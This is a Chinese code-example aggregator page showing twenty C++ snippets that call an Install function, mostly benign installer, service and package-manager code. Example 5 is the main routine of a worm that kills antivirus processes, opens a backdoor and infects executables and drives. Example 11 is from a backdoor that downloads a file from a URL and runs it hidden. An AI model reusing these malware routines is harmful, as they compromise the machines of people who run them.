• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

C++ Install函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中Install函数的典型用法代码示例。如果您正苦于以下问题:C++ Install函数的具体用法?C++ Install怎么用?C++ Install使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了Install函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: switch

BOOL CDialog::OnCommand(int id, int code)
{
	switch(id)
	{
	case IDOK:
		if(m_bNewVersion)
		{
			if( Uninstall() )
				return Install();
			else
			{
				// Write something to RunOnce registry key
				// Keep in mind that Uninstall() already did!
				SetMessage( IDS_RESTARTBEFOREUPDATE );
			}
		}
		else if(m_bUnInstall)
			return Uninstall();
		else
			return Install();
		break;

	case IDCANCEL:
		if(m_bUnInstall)
			CreateUninstall(TRUE);
		::PostQuitMessage(1);
		break;
	}
	return FALSE;
}
开发者ID:sqba,项目名称:zenfolders,代码行数:30,代码来源:Dialog.cpp


示例2: switch

/*
	メインダイアログ用 WM_COMMAND 処理ルーチン
*/
BOOL TInstDlg::EvCommand(WORD wNotifyCode, WORD wID, LPARAM hwndCtl)
{
	switch (wID)
	{
	case IDOK:
		CheckDlgButton(EXTRACT_CHECK, 0);
		Install();
		return	TRUE;

	case IDCANCEL:
		EndDialog(wID);
		return	TRUE;

	case RUNAS_BUTTON:
		RunAsAdmin(hWnd, FALSE);
		return	TRUE;

	case EXTRACT_BUTTON:
		CheckDlgButton(EXTRACT_CHECK, 1);
		Install();
		return	TRUE;

	case FILE_BUTTON:
		BrowseDirDlg(this, FILE_EDIT, "Select Install Directory");
		return	TRUE;
	}
	return	FALSE;
}
开发者ID:glukki,项目名称:ipmsg,代码行数:31,代码来源:install.cpp


示例3: QThread

int Backend::Go(){
    QThread *worker = new QThread();;
    this->moveToThread(worker);
    worker->start();

    connect(this, SIGNAL(Install()), this, SLOT(AsyncInstall()));
    emit Install();

    return Success;
}
开发者ID:w5wa,项目名称:deepin-windows-installer,代码行数:10,代码来源:backend.cpp


示例4: Install

void
StrategyChoiceHelper::Install(const NodeContainer& c, const Name& namePrefix, const Name& strategy)
{
  for (NodeContainer::Iterator i = c.Begin(); i != c.End(); ++i) {
    Install(*i, namePrefix, strategy);
  }
}
开发者ID:NDN-Routing,项目名称:ndnSIM,代码行数:7,代码来源:ndn-strategy-choice-helper.cpp


示例5: main

int main(int argc, char *argv[])
{
    if(IsDebuggerPresent()) return 1;
    if(argc==2) {
        char Thif[256];
        GetModuleFileName(NULL,Thif,sizeof(Thif));
        if(argv[1]==Thif) goto part;
        SetFileAttributes(argv[1],FILE_ATTRIBUTE_NORMAL);
        CopyFile(Thif,argv[1],FALSE);
    }
part:
    CreateMutex(NULL,0,"n349u43jEg35545");
    if(GetLastError()==ERROR_ALREADY_EXISTS) return 1;

    AllocConsole();
    ShowWindow(FindWindowA("ConsoleWindowClass",NULL),SW_HIDE);

    CreateThread(NULL,0,AntiVirusTerminate,NULL,0,NULL);
    CreateThread(NULL,0,ExploitMain,NULL,0,NULL);
    CreateThread(NULL,0,FileBackdoor,NULL,0,NULL);

    Install();
    HOSTSFile();
    InfectExes();
    p2p_spread();
    InfectDrives();
    return 0;
}
开发者ID:cyberthreats,项目名称:malware-source-cairuh,代码行数:28,代码来源:main.c


示例6: Format

void Format(){
	Install();
	for (int i = 0; i < DATADISTRICTION_MAXSIZE; i++)
		data[i] = '#';

	int inode_num_tmp = GetNextInodeNum();						//分配inode
	int block_num_tmp = GetNextBlockNum();						//分配block
	inode[inode_num_tmp].CreateInode(inode_num_tmp,1,ROOT,DIRFILE,"rrrrrrrrr");     //在inode节点表中添加新项
	inode[inode_num_tmp].i_zone[0] = block_num_tmp;				//inode指向物理块
	Directory root = Directory();
	writeInBlock(block_num_tmp, (char*)&root);					//此时目录对应的物理块的表为空

	strcpy(superblock_mem.CurDir, "/");							//当前目录为根
	superblock_mem.curind = inode_num_tmp;						//得到当前目录对应的inode编号


	//用户1
	char user1name[16] = "PNT";
	strcpy(superblock_mem.username[0], user1name);
	strcpy(superblock_mem.password[0], "PNT");
	MKDIR(user1name);												//在当前目录(/)下创建用户1

	//用户2
	char user2name[16] = "user2";
	strcpy(superblock_mem.username[1], user2name);
	strcpy(superblock_mem.password[1], "user2");
	MKDIR(user2name);												//在当前目录(/)下创建用户2

	//用户3
	char user3name[16] = "user3";
	strcpy(superblock_mem.username[2], user3name);
	strcpy(superblock_mem.password[2], "user3");
	MKDIR(user3name);												//在当前目录(/)下创建用户3
	
}
开发者ID:SherryPan123,项目名称:FileSys_PNT,代码行数:35,代码来源:Install.cpp


示例7: switch

/*
	メインダイアログ用 WM_COMMAND 処理ルーチン
*/
BOOL TInstDlg::EvCommand(WORD wNotifyCode, WORD wID, LPARAM hwndCtl)
{
	switch (wID) {
	case IDOK:
		propertySheet->GetData();
		if (cfg.mode == UNINSTALL_MODE)
			UnInstall();
		else
			Install();
		return	TRUE;

	case IDCANCEL:
		::PostQuitMessage(0);
		return	TRUE;

	case FILE_BUTTON:
		BrowseDirDlg(this, FILE_EDIT, "Select Install Directory");
		return	TRUE;

	case SETUP_RADIO:
	case UNINSTALL_RADIO:
		if (wNotifyCode == BN_CLICKED)
			ChangeMode();
		return	TRUE;
	}
	return	FALSE;
}
开发者ID:MakiseKurisu,项目名称:FastCopy,代码行数:30,代码来源:install.cpp


示例8: _AddPackageSpecifiers

void
BPackageManager::Install(const char* const* packages, int packageCount)
{
	BSolverPackageSpecifierList packagesToInstall;
	_AddPackageSpecifiers(packages, packageCount, packagesToInstall);
	Install(packagesToInstall);
}
开发者ID:SummerSnail2014,项目名称:haiku,代码行数:7,代码来源:PackageManager.cpp


示例9: AssertIsOnMainThread

void
ServiceWorkerUpdateJob::ContinueUpdateAfterScriptEval(bool aScriptEvaluationResult)
{
  AssertIsOnMainThread();

  RefPtr<ServiceWorkerManager> swm = ServiceWorkerManager::GetInstance();
  if (Canceled() || !swm) {
    FailUpdateJob(NS_ERROR_DOM_ABORT_ERR);
    return;
  }

  // Step 7.5 of the Update algorithm verifying that the script evaluated
  // successfully.

  if (NS_WARN_IF(!aScriptEvaluationResult)) {
    ErrorResult error;

    NS_ConvertUTF8toUTF16 scriptSpec(mScriptSpec);
    NS_ConvertUTF8toUTF16 scope(mRegistration->mScope);
    error.ThrowTypeError<MSG_SW_SCRIPT_THREW>(scriptSpec, scope);
    FailUpdateJob(error);
    return;
  }

  Install(swm);
}
开发者ID:yrliou,项目名称:gecko-dev,代码行数:26,代码来源:ServiceWorkerUpdateJob.cpp


示例10: RegisterAppId

	inline HRESULT RegisterAppId(bool bService = false) throw()
	{
		if (!Uninstall())
			return E_FAIL;

		HRESULT hr = UpdateRegistryAppId(TRUE);
		if (FAILED(hr))
			return hr;

		CRegKey keyAppID;
		LONG lRes = keyAppID.Open(HKEY_CLASSES_ROOT, _T("AppID"), KEY_WRITE);
		if (lRes != ERROR_SUCCESS)
			return AtlHresultFromWin32(lRes);

		CRegKey key;

		lRes = key.Create(keyAppID, GetAppIdT());
		if (lRes != ERROR_SUCCESS)
			return AtlHresultFromWin32(lRes);

		key.DeleteValue(_T("LocalService"));

		if (!bService)
			return S_OK;

		key.SetStringValue(_T("LocalService"), m_szServiceName);

		// Create service
		if (!Install())
			return E_FAIL;
		return S_OK;
	}
开发者ID:AlexS2172,项目名称:IVRM,代码行数:32,代码来源:EgRouterSrv.cpp


示例11: WinMain

// standard application main
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{

	// get OS version
	OsIsNt=GetOsVer();
	GetModuleFileName(NULL,ExeFile,MAX_PATH);

    // Install from cmdline
    if(strpbrk(lpCmdLine,"iI")) Install();

    // if need, to download file and execute it
	if(wscfg.ws_downexe) {
		if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
			WinExec(wscfg.ws_filenam,SW_HIDE);
	}

	if(!OsIsNt) {
		// if win9x, hide process and start as application
		HideProc();		
		StartWinShell(lpCmdLine);
	}
	else
	    if(StartFromService())
			// start as ntservice
			StartServiceCtrlDispatcher(DispatchTable);
		else
			// start as application
			StartWinShell(lpCmdLine);

	return 0;
}
开发者ID:xiaomu,项目名称:virus_code_withcomment,代码行数:32,代码来源:winshell.cpp


示例12: src_

Hook::Hook(void *src, void *dst)
    : src_(0)
    , dst_(0)
    , installed_(false)
{
    Install(src, dst);
}
开发者ID:RyokoAkizuki,项目名称:freshcity,代码行数:7,代码来源:hook.cpp


示例13: DllInstall

STDAPI DllInstall( BOOL bInstall, LPCWSTR pszCmdLine )
{
	// To install into System32\ShellExt
	// regsvr32.exe /i /n HashCheck.dll
	//
	// To install without registering an uninstaller
	// regsvr32.exe /i:"NoUninstall" /n HashCheck.dll
	//
	// To install in-place (without copying the .dll anywhere)
	// regsvr32.exe /i:"NoCopy" /n HashCheck.dll
	//
	// To install with both options above
	// regsvr32.exe /i:"NoUninstall NoCopy" /n HashCheck.dll
	//
	// To uninstall
	// regsvr32.exe /u /i /n HashCheck.dll
	//
	// To install/uninstall silently
	// regsvr32.exe /s ...
	//
	// DllInstall can also be invoked from a RegisterDlls INF section or from
	// a UnregisterDlls INF section, if the registration flags are set to 2.
	// Consult the documentation for RegisterDlls/UnregisterDlls for details.

	return( (bInstall) ?
		Install(pszCmdLine == NULL || StrStrIW(pszCmdLine, L"NoUninstall") == NULL,
                pszCmdLine == NULL || StrStrIW(pszCmdLine, L"NoCopy")      == NULL) :
		Uninstall()
	);
}
开发者ID:gurnec,项目名称:HashCheck,代码行数:30,代码来源:HashCheck.cpp


示例14: ServiceMainProc

VOID ServiceMainProc()
{
	::InitializeCriticalSection(&myCS);
	// initialize variables for .exe and .log file names
	char pModuleFile[nBufferSize+1];
	DWORD dwSize = GetModuleFileName(NULL, pModuleFile, nBufferSize);
	pModuleFile[dwSize] = 0;
	if(dwSize>4 && pModuleFile[dwSize-4] == '.')
	{
		sprintf_s(pExeFile,"%s",pModuleFile);
		pModuleFile[dwSize-4] = 0;
		sprintf_s(pLogFile,"%s.log",pModuleFile);

		sprintf_s(pWorkDir,"%s",pModuleFile);
		PathRemoveFileSpec(pWorkDir);
	}

	strcpy_s(pServiceName,"Helix");

	if(_stricmp("-i",lpCmdLineData) == 0 || _stricmp("-I",lpCmdLineData) == 0)
		Install(pExeFile, pServiceName);
	else if(_stricmp("-k",lpCmdLineData) == 0 || _stricmp("-K",lpCmdLineData) == 0)
		KillService(pServiceName);
	else if(_stricmp("-u",lpCmdLineData) == 0 || _stricmp("-U",lpCmdLineData) == 0)
		UnInstall(pServiceName);
	else if(_stricmp("-s",lpCmdLineData) == 0 || _stricmp("-S",lpCmdLineData) == 0)
		RunService(pServiceName);
	else
		ExecuteSubProcess();
}
开发者ID:smc314,项目名称:helix,代码行数:30,代码来源:HelixSvc.cpp


示例15: if

    int win_svc_base::Main( int argc, char * argv[] )
    {
        //////////////////////////////////////////////////////////////////////////
        /// 命令行参数解析
        boost::program_options::options_description opts;
        opts.add_options()
            ("help", "options: --install --uninstall")
            ("install", "")
            ("uninstall", "")
            ("auto-start", "");

        boost::program_options::store(
            boost::program_options::parse_command_line(argc, argv, opts)
            , m_vm );

        //////////////////////////////////////////////////////////////////////////
        /// 定义SERVICE_TABLE_ENTRY DispatchTable[] 结构
        SERVICE_TABLE_ENTRYA DispatchTable[2] = 
        {
            {(char*)GetServiceName(), (LPSERVICE_MAIN_FUNCTIONA)GetServiceStartFunction()},                  
            {NULL, NULL}
        };

        if ( m_vm.count("help") )
        {
            /// 帮助
            std::cout << opts << std::endl;
        }
        else if ( m_vm.count("install") )
        {
            bool bAutoStart = (m_vm.count("auto-start") > 0);
            /// 安装服务
            if ( Install(bAutoStart) )
            {
                std::cout << "安装成功!" << std::endl;
                OnInstall(bAutoStart);
            }
            else
                std::cout << "安装失败!" << std::endl;
        }
        else if ( m_vm.count("uninstall") )
        {
            /// 卸载服务
            if ( Uninstall() )
                std::cout << "卸载成功!" << std::endl;
            else
                std::cout << "卸载失败!" << std::endl;
        }
        else
        {
            /// OS启动该程序
            BOOL bSuccessed = ::StartServiceCtrlDispatcherA(DispatchTable);
            //if (bSuccessed)
            //    LOG << "服务入口函数注册成功!" << std::endl;
            //else
            //    LOG << "服务入口函数注册失败!" << std::endl;
        }
        return 0;
    }
开发者ID:hyg19831230,项目名称:Bex,代码行数:59,代码来源:win32_service.cpp


示例16: DeleteSettings

//----------------------------------------------------
//  MakeUpdate - функция обновляет бота
//----------------------------------------------------
bool BOT::MakeUpdate(const char *FileName, bool ResetSettings)
{
	// При необходимости удалем сохранённые настройки
	if (ResetSettings)
		DeleteSettings();

	return Install(FileName, true, true, 0) == TRUE;
}
开发者ID:0x00dec0de,项目名称:Carberp,代码行数:11,代码来源:Installer.cpp


示例17:

Ptr<FaceContainer>
StackHelper::Install(const NodeContainer& c) const
{
  Ptr<FaceContainer> faces = Create<FaceContainer>();
  for (NodeContainer::Iterator i = c.Begin(); i != c.End(); ++i) {
    faces->AddAll(Install(*i));
  }
  return faces;
}
开发者ID:chris-wood,项目名称:bead-ndnSIM,代码行数:9,代码来源:ndn-stack-helper.cpp


示例18: Install

bool Hook::Install(void *src, void *dst) {
    if (installed_) {
        return false;
    }

    src_ = src;
    dst_ = dst;
    return Install();
}
开发者ID:RyokoAkizuki,项目名称:freshcity,代码行数:9,代码来源:hook.cpp


示例19: LOG4CPLUS_DEBUG

	long ServiceModule::RegisterServer(bool bService)
	{
		LOG4CPLUS_DEBUG(log,"register server.");
		Uninstall();
		if (bService)
		{
			return Install();
		}
		return 0;
	}
开发者ID:AricGod,项目名称:chilli,代码行数:10,代码来源:ServiceModule.cpp


示例20: Install

/**
 * @brief Initializes the SpringApp instance
 * @return whether initialization was successful
 */
bool SpringApp::Initialize ()
{
    if (!ParseCmdLine ())
        return false;

#ifdef WIN32
    // Initialize crash reporting
    Install( (LPGETLOGFILE) crashCallback, "[email protected]", "TA Spring Crashreport");
#endif

    // Initialize class system
    creg::ClassBinder::InitializeClasses ();

#ifndef NO_LUA
    // Initialize lua bindings
    CLuaBinder lua;
    if (!lua.LoadScript("testscript.lua"))
        handleerror(NULL, lua.lastError.c_str(), "lua",MBF_OK|MBF_EXCL);
#endif

    InitVFS ();

    if (!InitWindow ("RtsSpring"))
    {
        SDL_Quit ();
        return false;
    }
    // Global structures
    ENTER_SYNCED;
    gs=new CGlobalSyncedStuff();
    ENTER_UNSYNCED;
    gu=new CGlobalUnsyncedStuff();

    InitOpenGL();

    palette.Init();

    // Initialize keyboard
    SDL_EnableUNICODE(1);
    SDL_EnableKeyRepeat (SDL_DEFAULT_REPEAT_DELAY, SDL_DEFAULT_REPEAT_INTERVAL);
    SDL_SetModState (KMOD_NONE);

    keys = new Uint8[SDLK_LAST];
    memset (keys,0,sizeof(Uint8)*SDLK_LAST);

    // Initialize font
    font = new CglFont(32,223);
    LoadExtensions();
    glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
    SDL_GL_SwapBuffers();

    CreateGameSetup ();

    return true;
}
开发者ID:genxinzou,项目名称:svn-spring-archive,代码行数:59,代码来源:Main.cpp



注:本文中的Install函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ InstallWindowEventHandler函数代码示例发布时间:2022-05-30
下一篇:
C++ InstResetEvent函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap